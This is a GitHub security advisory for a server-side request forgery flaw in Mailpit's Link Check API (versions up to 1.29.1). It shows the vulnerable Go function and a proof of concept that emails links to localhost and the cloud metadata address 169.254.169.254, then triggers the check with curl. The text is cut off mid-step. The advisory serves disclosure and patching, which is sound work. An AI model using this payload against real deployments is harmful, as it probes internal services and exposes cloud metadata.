GitHub Security Advisory: GHSA-mpf7-p9x7-96r3
Package: github.com/axllent/mailpit (GO)
Severity: MODERATE (CVSS 5.8)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 1.29.1
Patched in: 1.29.2

Summary: Mailpit is Vulnerable to Server-Side Request Forgery (SSRF) via Link Check API

Details:
### Summary
The Link Check API (/api/v1/message/{ID}/link-check) is vulnerable to Server-Side Request Forgery (SSRF). The server performs HTTP HEAD requests to every URL found in an email without validating target hosts or filtering private/internal IP addresses. The response returns status codes and status text per link, making this a non-blind SSRF. In the default configuration (no authentication on SMTP or API), this is fully exploitable remotely with zero user interaction.

This is the same class of vulnerability that was fixed in the HTML Check API (CVE-2026-23845 / GHSA-6jxm-fv7w-rw5j) and the
screenshot proxy (CVE-2026-21859 / GHSA-8v65-47jx-7mfr), but the Link Check code path was not included in either fix.

### Details
The doHead() function in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L59-L98 creates a plain http.Transport{} and http.Client with no DialContext hook or IP validation:

```
  func doHead(link string, followRedirects bool) (int, error) {
      timeout := time.Duration(10 * time.Second)
      tr := &http.Transport{}
      // ...
      client := http.Client{
          Timeout:   timeout,
          Transport: tr,
          // ...
      }
      req, err := http.NewRequest("HEAD", link, nil)
      // ...
      res, err := client.Do(req)  // No IP validation — requests any URL
      return res.StatusCode, nil
  }
```

  The call chain is:

  1. GET /api/v1/message/{ID}/link-check hits LinkCheck() in
  https://github.com/axllent/mailpit/blob/v1.29.0/server/apiv1/other.go#L84
  2. Which calls linkcheck.RunTests() in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/main.go#L16
  3. Which extracts all URLs from the email's HTML (<a href>, <img src>, <link href>) and text body, then passes them to
  getHTTPStatuses() in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L14
  4. Which spawns goroutines calling doHead() for each URL with no filtering

  There is no check anywhere in this path to block requests to loopback (127.0.0.0/8), private (10.0.0.0/8, 172.16.0.0/12,
  192.168.0.0/16), link-local (169.254.0.0/16), or IPv6 equivalents (::1, fc00::/7, fe80::/10).
  
### PoC
Prerequisites: Mailpit running with default settings (no auth flags). A listener on 127.0.0.1:8081 simulating an internal service.

 Step 1 — Start a listener to prove the SSRF:

`  python3 -m http.server 8081 --bind 127.0.0.1
`

 Step 2 — Send a crafted email via SMTP:

```
  swaks --to recipient@example.com \
        --from attacker@example.com \
        --server localhost:1025 \
        --header "Content-Type: text/html" \
        --body '<html><body><a href="http://127.0.0.1:8081/ssrf-proof">click</a><a
  href="http://169.254.169.254/latest/meta-data/">metadata</a></body></html>'
```

 Step 3 — Get the message ID:

`  curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID'
`
  Or use the shorthand ID latest.

Step 4 — Trigger the link check:

`  curl -s http: